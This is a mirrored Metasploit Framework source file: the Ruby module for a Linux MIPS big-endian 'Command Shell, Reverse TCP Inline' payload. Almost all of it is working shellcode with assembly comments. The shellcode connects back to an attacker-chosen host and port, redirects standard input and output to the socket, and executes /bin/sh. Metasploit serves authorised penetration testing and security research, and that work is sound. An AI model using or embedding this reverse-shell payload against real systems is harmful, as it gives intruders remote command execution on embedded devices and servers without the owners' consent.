Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 184
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Command Shell, Reverse TCP Inline',
17
'Description' => 'Connect back to attacker and spawn a command shell',
18
'Author' => [
19
'rigan <imrigan[at]gmail.com>', # Original shellcode
20
'juan vazquez' # Metasploit module
21
],
22
'References' => [
23
['EDB', '18226']
24
],
25
'License' => MSF_LICENSE,
26
'Platform' => 'linux',
27
'Arch' => ARCH_MIPSBE,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::CommandShellUnix,
30
'Payload' => {
31
'Offsets' => {},
32
'Payload' => ''
33
}
34
)
35
)
36
end
37
38
def generate(_opts = {})
39
if !datastore['LHOST'] || datastore['LHOST'].empty?
40
return super
41
end
42
43
host = Rex::Socket.addr_atoi(datastore['LHOST'])
44
port = Integer(datastore['LPORT'])
45
46
host = [host].pack('N').unpack('cccc')
47
port = [port].pack('n').unpack('cc')
48
49
shellcode =
50
# sys_socket
51
# a0: domain
52
# a1: type
53
# a2: protocol
54
"\x24\x0f\xff\xfa" + # li t7,-6
55
"\x01\xe0\x78\x27" + # nor t7,t7,zero
56
"\x21\xe4\xff\xfd" + # addi a0,t7,-3
57
"\x21\xe5\xff\xfd" + # addi a1,t7,-3
58
"\x28\x06\xff\xff" + # slti a2,zero,-1
59
"\x24\x02\x10\x57" + # li v0,4183 # sys_socket
60
"\x01\x01\x01\x0c" + # syscall 0x40404
61
62
# sys_connect
63
# a0: sockfd (stored on the stack)
64
# a1: addr (data stored on the stack)
65
# a2: addrlen
66
"\xaf\xa2\xff\xff" + # sw v0,-1(sp)
67
"\x8f\xa4\xff\xff" + # lw a0,-1(sp)
68
"\x34\x0f\xff\xfd" + # li t7,0xfffd
69
"\x01\xe0\x78\x27" + # nor t7,t7,zero
70
"\xaf\xaf\xff\xe0" + # sw t7,-32(sp)
71
"\x3c\x0e" + port.pack('C2') + # lui t6,0x1f90
72
"\x35\xce" + port.pack('C2') + # ori t6,t6,0x1f90
73
"\xaf\xae\xff\xe4" + # sw t6,-28(sp)
74
"\x3c\x0e" + host[0..1].pack('C2') + # lui t6,0x7f01
75
"\x35\xce" + host[2..3].pack('C2') + # ori t6,t6,0x101
76
"\xaf\xae\xff\xe6" + # sw t6,-26(sp)
77
"\x27\xa5\xff\xe2" + # addiu a1,sp,-30
78
"\x24\x0c\xff\xef" + # li t4,-17
79
"\x01\x80\x30\x27" + # nor a2,t4,zero
80
"\x24\x02\x10\x4a" + # li v0,4170 # sys_connect
81
"\x01\x01\x01\x0c" + # syscall 0x40404
82
83
# sys_dup2
84
# a0: oldfd (socket)
85
# a1: newfd (0, 1, 2)
86
"\x24\x11\xff\xfd" + # li s1,-3
87
"\x02\x20\x88\x27" + # nor s1,s1,zero
88
"\x8f\xa4\xff\xff" + # lw a0,-1(sp)
89
"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop
90
"\x24\x02\x0f\xdf" + # li v0,4063 # sys_dup2
91
"\x01\x01\x01\x0c" + # syscall 0x40404
92
"\x24\x10\xff\xff" + # li s0,-1
93
"\x22\x31\xff\xff" + # addi s1,s1,-1
94
"\x16\x30\xff\xfa" + # bne s1,s0,68 <dup2_loop>
95
96
# sys_execve
97
# a0: filename (stored on the stack) "//bin/sh"
98
# a1: argv "//bin/sh"
99
# a2: envp (null)
100
"\x28\x06\xff\xff" + # slti a2,zero,-1
101
"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"
102
"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"
103
"\xaf\xaf\xff\xec" + # sw t7,-20(sp)
104
"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"
105
"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"
106
"\xaf\xae\xff\xf0" + # sw t6,-16(sp)
107
"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)
108
"\x27\xa4\xff\xec" + # addiu a0,sp,-20
109
"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)
110
"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)
111
"\x27\xa5\xff\xf8" + # addiu a1,sp,-8
112
"\x24\x02\x0f\xab" + # li v0,4011 # sys_execve
113
"\x01\x01\x01\x0c" # syscall 0x40404
114
115
return super + shellcode
116
end
117
end
118
119